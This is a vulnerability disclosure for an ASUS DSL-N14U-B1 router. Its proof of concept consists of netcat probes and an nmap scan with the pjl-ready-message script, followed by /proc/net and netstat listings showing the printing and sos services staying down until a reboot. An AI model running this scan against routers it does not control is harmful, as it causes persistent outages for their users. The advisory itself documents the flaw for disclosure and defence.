Persistent crash of services after TCP SYN scan

22 Jan 2021

Affected products

We have not yet tested Asus models other than those listed. However we suspect it may also work on other models with the same firmware version.

DSL-N14U_B1 V.1.1.2.3_805

Overview

An issue was discovered on ASUS DSL-N14U-B1 1.1.2.3_805 device. Remote attacker to cause a denial of service (crash) by performing a SYN scan using a tool such as nmap. Sending these packets causes a persistent outage of the jetdirect (9100/tcp), LPD (515/tcp) and sos (3838/udp) services.

POC

This PoC can crash services.

##Stage 1: Enumeration

```
[emanuele@kaisersource jetdirect]$ nc -vn <IP>
[IP] 9100 (hp-pdl-datastr) ? open
```

##Stage 2: Upload test

```
[emanuele@kaisersource jetdirect]$ cat ready.txt | nc -v -v <IP>
_gateway [IP] 9100 (hp-pdl-datastr) ? open
^C
Total bytes received: 0
Total bytes sent: 159
[emanuele@kaisersource jetdirect]$
```

We enter the router via ssh to understand through the proc file system what's going on.

```
sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
 0: 00000000:1561 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 4033 1 8200e460 300 0 0 2 -1
 1: 00000000:4661 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 2710 1 8336c460 300 0 0 2 -1
 2: 00000000:0D42 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3935 1 8200e000 300 0 0 2 -1
 3: 00000000:0203 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3838 1 8336c000 300 0 0 2 -1
 4: 00000000:238C 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3840 1 8336c8c0 300 0 0 2 -1
 5: 00000000:1F92 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3881 1 8336cd20 300 0 0 2 -1
 6: 00000000:0B35 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3895 1 8336d180 300 0 0 2 -1
 7: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 4215 1 8200e8c0 300 0 0 2 -1
 8: 00000000:01BB 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3882 1 8336da40 300 0 0 2 -1
 9: 00000000:0EFE 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3841 1 8336d5e0 300 0 0 2 -1
10: C0A80101:0016 C0A80103:CD44 01 00000000:00000000 00:00000000 00000000     0        0 5621 2 8200f5e0 21 4 7 3 -1
11: C0A80101:4661 C0A80103:9136 06 00000000:00000000 03:00000FCB 00000000     0        0 0 2 83a8ca80
```

As shown in the figure, we can see some active services and their port in hexadecimal format. Those that interest us are basically jetdirect LPD (i.e. 238C and 0203 in hex)

##Stage 3: Showdown

We run nmap by inserting an additional script with a moderate degree of intrusion.

The script retrieves or sets the "ready message" on devices that support the Printer Job Language.

sudo nmap -sV –script pjl-ready-message

Once this is done, we immediately notice differences in the proc file system.

```
 0: 00000000:1561 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3976 1 8335fa40 300 0 0 2 -1
 1: 00000000:4661 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 2743 1 8335e460 300 0 0 2 -1
 2: 00000000:0D42 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3973 1 8335f5e0 300 0 0 2 -1
 3: 00000000:0B35 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 2086 1 8335e000 300 0 0 2 -1
 4: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 4386 1 83ec6460 300 0 0 2 -1
 5: 00000000:06BB 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 4346 1 83ec6000 300 0 0 2 -1
 6: C0A80101:0016 C0A80102:91C2 01 00000000:00000000 00:00000000 00000000     0        0 5359 2 8361e000 21 4 7 3 -1
```

As a counter check, we show the status of services before and after running nmap via `netstat -tulen` (busybox doesn't support -p, which is why we work on the proc file system inside the router).

```
tcp        0      0 0.0.0.0:5473            0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:18017           0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:3394            0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:515             0.0.0.0:*               LISTEN
tcp        1      0 0.0.0.0:9100            0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:8082            0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:2869            0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:3838            0.0.0.0:*               LISTEN
tcp        0      0 :::80                   :::*                    LISTEN
tcp        0      0 :::22                   :::*                    LISTEN
tcp        0      0 :::23                   :::*                    LISTEN
tcp        0      0 :::8443                 :::*                    LISTEN
udp        0      0 192.168.1.1:32769       0.0.0.0:*
udp        0      0 0.0.0.0:9999            0.0.0.0:*
udp        0      0 0.0.0.0:67              0.0.0.0:*
udp        0      0 0.0.0.0:5474            0.0.0.0:*
udp        0      0 0.0.0.0:18018           0.0.0.0:*
udp        0      0 192.168.1.1:5351        0.0.0.0:*
udp        0      0 0.0.0.0:1900            0.0.0.0:*
```

```
tcp        0      0 0.0.0.0:5473            0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:18017           0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:3394            0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:8082            0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:2869            0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN
tcp        0      0 :::80                   :::*                    LISTEN
tcp        0      0 :::22                   :::*                    LISTEN
tcp        0      0 :::23                   :::*                    LISTEN
tcp        0      0 :::8443                 :::*                    LISTEN
udp        0      0 192.168.1.1:32769       0.0.0.0:*
udp        0      0 0.0.0.0:9999            0.0.0.0:*
udp        0      0 0.0.0.0:67              0.0.0.0:*
udp        0      0 0.0.0.0:5474            0.0.0.0:*
udp        0      0 0.0.0.0:18018           0.0.0.0:*
udp        0      0 192.168.1.1:5351        0.0.0.0:*
udp        0      0 0.0.0.0:1900            0.0.0.0:*
```

In the latest two figures we show proc file system effects in a comprehensive way

```
# cat /proc/net/tcp
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   0: 00000000:1561 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 4033 1 8200e460 300 0 0 2 -1
   1: 00000000:4661 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 2710 1 8336c460 300 0 0 2 -1
   2: 00000000:0D42 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3935 1 8200e000 300 0 0 2 -1
   3: 00000000:0203 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3838 1 8336c000 300 0 0 2 -1
   4: 00000000:238C 00000000:0000 0A 00000000:00000001 00:00000000 00000000     0        0 3840 1 8336c8c0 300 0 0 2 -1
   5: 00000000:1F92 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3881 1 8336cd20 300 0 0 2 -1
   6: 00000000:0B35 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3895 1 8336d180 300 0 0 2 -1
   7: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 4215 1 8200e8c0 300 0 0 2 -1
   8: 00000000:01BB 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3882 1 8336da40 300 0 0 2 -1
   9: 00000000:0EFE 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3841 1 8336d5e0 300 0 0 2 -1
  10: C0A80101:0016 C0A80103:CD44 01 00000000:00000000 00:00000000 00000000     0        0 5621 3 8200f5e0 21 4 5 3 -1
# cat /proc/net/udp
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   1: C0A80101:8001 00000000:0000 07 00000000:00000000 00:00000000 00000000     0        0 3897 2 82981000
  15: 00000000:270F 00000000:0000 07 00000000:00000000 00:00000000 00000000     0        0 4185 2 832dda00
  67: 00000000:0043 00000000:0000 07 00000000:00000000 00:00000000 00000000     0        0 1784 2 82ae0a00
  98: 00000000:1562 00000000:0000 07 00000000:00000000 00:00000000 00000000     0        0 4032 2 832dd000
  98: 00000000:4662 00000000:0000 07 00000000:00000000 00:00000000 00000000     0        0 2711 2 8277b000
 103: C0A80101:14E7 00000000:0000 07 00000000:00000000 00:00000000 00000000     0        0 3899 2 82981600
 108: 00000000:076C 00000000:0000 07 00000000:00000000 00:00000000 00000000     0        0 3896 2 82981800
```

```
# cat /proc/net/udp
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   1: C0A80101:8001 00000000:0000 07 00000000:00000000 00:00000000 00000000     0        0 3897 2 82981000
  15: 00000000:270F 00000000:0000 07 00000000:00000000 00:00000000 00000000     0        0 4185 2 832dda00
  67: 00000000:0043 00000000:0000 07 00000000:00000000 00:00000000 00000000     0        0 1784 2 82ae0a00
  98: 00000000:1562 00000000:0000 07 00000000:00000000 00:00000000 00000000     0        0 4032 2 832dd000
  98: 00000000:4662 00000000:0000 07 00000000:00000000 00:00000000 00000000     0        0 2711 2 8277b000
 103: C0A80101:14E7 00000000:0000 07 00000000:00000000 00:00000000 00000000     0        0 3899 2 82981600
 108: 00000000:076C 00000000:0000 07 00000000:00000000 00:00000000 00000000     0        0 3896 2 82981800
# cat /proc/net/tcp
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   0: 00000000:1561 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 4033 1 8200e460 300 0 0 2 -1
   1: 00000000:4661 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 2710 1 8336c460 300 0 0 2 -1
   2: 00000000:0D42 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3935 1 8200e000 300 0 0 2 -1
   3: 00000000:1F92 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3881 1 8336cd20 300 0 0 2 -1
   4: 00000000:0B35 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3895 1 8336d180 300 0 0 2 -1
   5: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 4215 1 8200e8c0 300 0 0 2 -1
   6: 00000000:01BB 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 3882 1 8336da40 300 0 0 2 -1
   7: C0A80101:0016 C0A80103:CD44 01 00000000:00000000 00:00000000 00000000     0        0 5621 3 8200f5e0 21 4 3 3 -1
```

If we had an eye previously, we have seen well, not just two ocurrencies related to printing services crashed… an additional service disappeared: sos service (3838 / tcp) - Scito Object Server

The situation will persist as long as the modem router is active. The services will be active again only with a physical intervention (reboot)